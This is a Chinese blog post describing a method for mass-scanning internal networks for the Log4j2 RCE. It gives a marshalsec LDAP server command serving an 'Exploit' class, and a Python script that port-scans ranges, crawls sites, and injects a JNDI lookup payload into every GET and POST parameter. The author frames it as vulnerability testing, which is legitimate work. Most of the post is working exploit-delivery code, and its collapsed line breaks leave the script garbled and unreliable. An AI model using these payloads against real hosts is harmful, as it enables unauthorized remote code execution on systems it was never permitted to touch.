vlambda博客
学习文章列表

内网批量扫描Aapache Log4j2 RCE

    Apache Log4j2 远程代码执行漏洞爆出有一段时间了,github上与之相关的扫描脚本也已经有很多了。但是这些工具放到内网并不好使,因为脚本扫描原理通常都基于Dnslog等服务端的回显信息来判断漏洞是否存在,而我们内网是没有Dnslog的。


     解决方法有两种,一是在内网搭建Dnslog观察是否有回显,二是搭建ldap服务观察是否可以反弹shell。第一种姿势需要在内网注册一个域名,考虑到自己只是一个权限低微的测试员,就放弃了这种想法;第二种姿势利用起来没有什么难度,使用marshalsec开启ldap服务即可。但我们现在要做的是批量扫描,不断检测是否反弹shell还是太慢了。


     批量扫描、不借助dnslog、力求准确快速,咋整呢?通过测试发现,当log4j2 漏洞发生时,ldap服务下是可以看到访问记录的,那我们就可以通过发送特定payload再查看ldap的访问记录来锁定漏洞点。大致步骤如下:


  1. 利用Rad(长亭开发的爬虫软件)收集目标域名下的所有网页


  2. 利用python对Rad收集的数据进行处理,即在GET以及POST参数位置替换为log4j2 rce的payload


  3. 在内网服务器上使用marshalsec开启ldap服务,并将访问结果保存到web路径下,命名为record.bin


  4. 利用python将第2步中已处理的数据发送到目标主机,然后不断访问内网服务器的record.bin判断payload是否执行


  • 需要用到的工具:

       Rad、谷歌浏览器(Rad扫描的依赖)、python执行环境以及marshalsec


  • 内网服务端运行:

在1389端口开启ldap,并在80端口开启web

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://内网服务器ip:80/\#Exploit 1389


  • 本地运行脚本:

python log4j-test.py 目标ip 目标port

#coding=utf-8import sysimport osimport socketimport datetimeimport urllibimport requestsimport time#把ip和port列为标准格式,192.168.0.1-192.168.0.255,127.0.0.1,www.baid.com
if len(sys.argv)==2: ip_str=sys.argv[1] port_str=''elif len(sys.argv)==3: ip_str=sys.argv[1] port_str=sys.argv[2]else: print 'python log4j2-test.py ip port' sys.exit()
ip_list=[]tmp=ip_str.split(',')for i in range(len(tmp)): if "-" in tmp[i]: s=tmp[i].split('-')[0] e=tmp[i].split('-')[1] for j in range(int(s.split('.')[3]),int(e.split('.')[3])+1): ip_list.append(s[0:s.rfind('.')+1]+str(j)) else: ip_list.append(tmp[i])#print ip_list
port_list=[]tmp=port_str.split(',')for i in range(len(tmp)): if "-" in tmp[i]: s=tmp[i].split('-')[0] e=tmp[i].split('-')[1] for j in range(int(s),int(e)+1): port_list.append(str(j)) else: port_list.append(tmp[i])#print port_list

#ip和port循环遍历,调用socket判断端口是否开放
print 'testing ip & port.........'
url_list=[]for i in range(len(ip_list)): for j in range(len(port_list)): try: url=ip_list[i]+':'+port_list[j] #print url conn=socket.socket(socket.AF_INET,socket.SOCK_STREAM) conn.settimeout(0.1) conn.connect((ip_list[i],int(port_list[j])))#connect(),参数为元组形式,ip是字符串,port是整型 print url+' is alive' conn.shutdown(2) conn.close() url_list.append('http://'+url) url_list.append('https://'+url) except: pass
#遍历url,调用rad存放于文件中,读取文件,对发包数据进行poc替换,再发送#poc替换def Poc_Exchange(f,poc): tmp='' while True: k=f.readline()
if 'GET' in k and '?' not in k: while '---------' not in k: k=f.readline() if not k: break
if 'GET /' in k and '?' in k: s=k.find('=') e=k.find(' ',s) tmp+=k.replace(k[s+1:e],urllib.quote(poc)) k=f.readline() while '-------' not in k: tmp+=k k=f.readline() if not k: tmp+="$@*@*@$" break tmp+="$@*@*@$"
if 'POST /' in k: tmp+=k while '--------' not in k: k=f.readline()
if k=='\n': tmp+=k k=f.readline() if k.count('=')==1: s=k.find('=') k=k.replace(k[s+1:],poc+'$@*@*@$') tmp+=k elif k.count('=')>1: s=0 for j in range(k.count('=')): s=k.find('=',s) e=k.find('&',s) if e!=-1: k=k.replace(k[s+1:e],poc) s=s+len(poc) else: k=k.replace(k[s+1:],poc+'$@*@*@$') tmp+=k else: tmp+='payload='+poc+'$@*@*@$' break else: tmp+=k if not k: break return tmp
#socket发包
def Soc_Send(request,identifier): tmp=request.split('\r\n') for i in range(len(tmp)): if 'Host:' in tmp[i]: s=tmp[i].find('Host: ')+len('Host: ') e=tmp[i].find(':',s) if e==-1: ip=tmp[i][s:] port=80 else: ip=tmp[i][s:e] port=int(tmp[i][e+1:]) print (ip,port) break
conn=socket.socket(socket.AF_INET,socket.SOCK_STREAM) conn.connect((ip,port)) conn.send(request)
time.sleep(1) r=requests.get('http://192.168.0.1:80/record.bin') print r.text if identifier in r.text: return True else: return False

#整合for i in range(len(url_list)): t=datetime.datetime.now().strftime('%Y_%m_%d_%H_%M_%S') cmd=' .\\rad_windows_386.exe -t '+url_list[i]+' --full '+'tmp'+t+'.txt'#文件名不可用. print cmd os.system(cmd) print 'payload is exchanging...' with open('tmp'+t+'.txt','rb')as f:# tmp=Poc_Exchange(f,'${jndi:ldap://192.168.0.1:1389/'+t+'exp}')

if len(tmp)!=0: tmp=tmp.split('$@*@*@$') for j in range(len(tmp)): if tmp[j]!='': ss=Soc_Send(tmp[j],t) if ss : with open('log4j-result','ab') as f1: f1.write(url_list[i]+'\n') print url_list[i]+' has log4j2 vulnerable!!!\n' else: print url_list[i]+'pass\n' else: print 'no reasonable flow'   os.remove('tmp'+t+'.txt')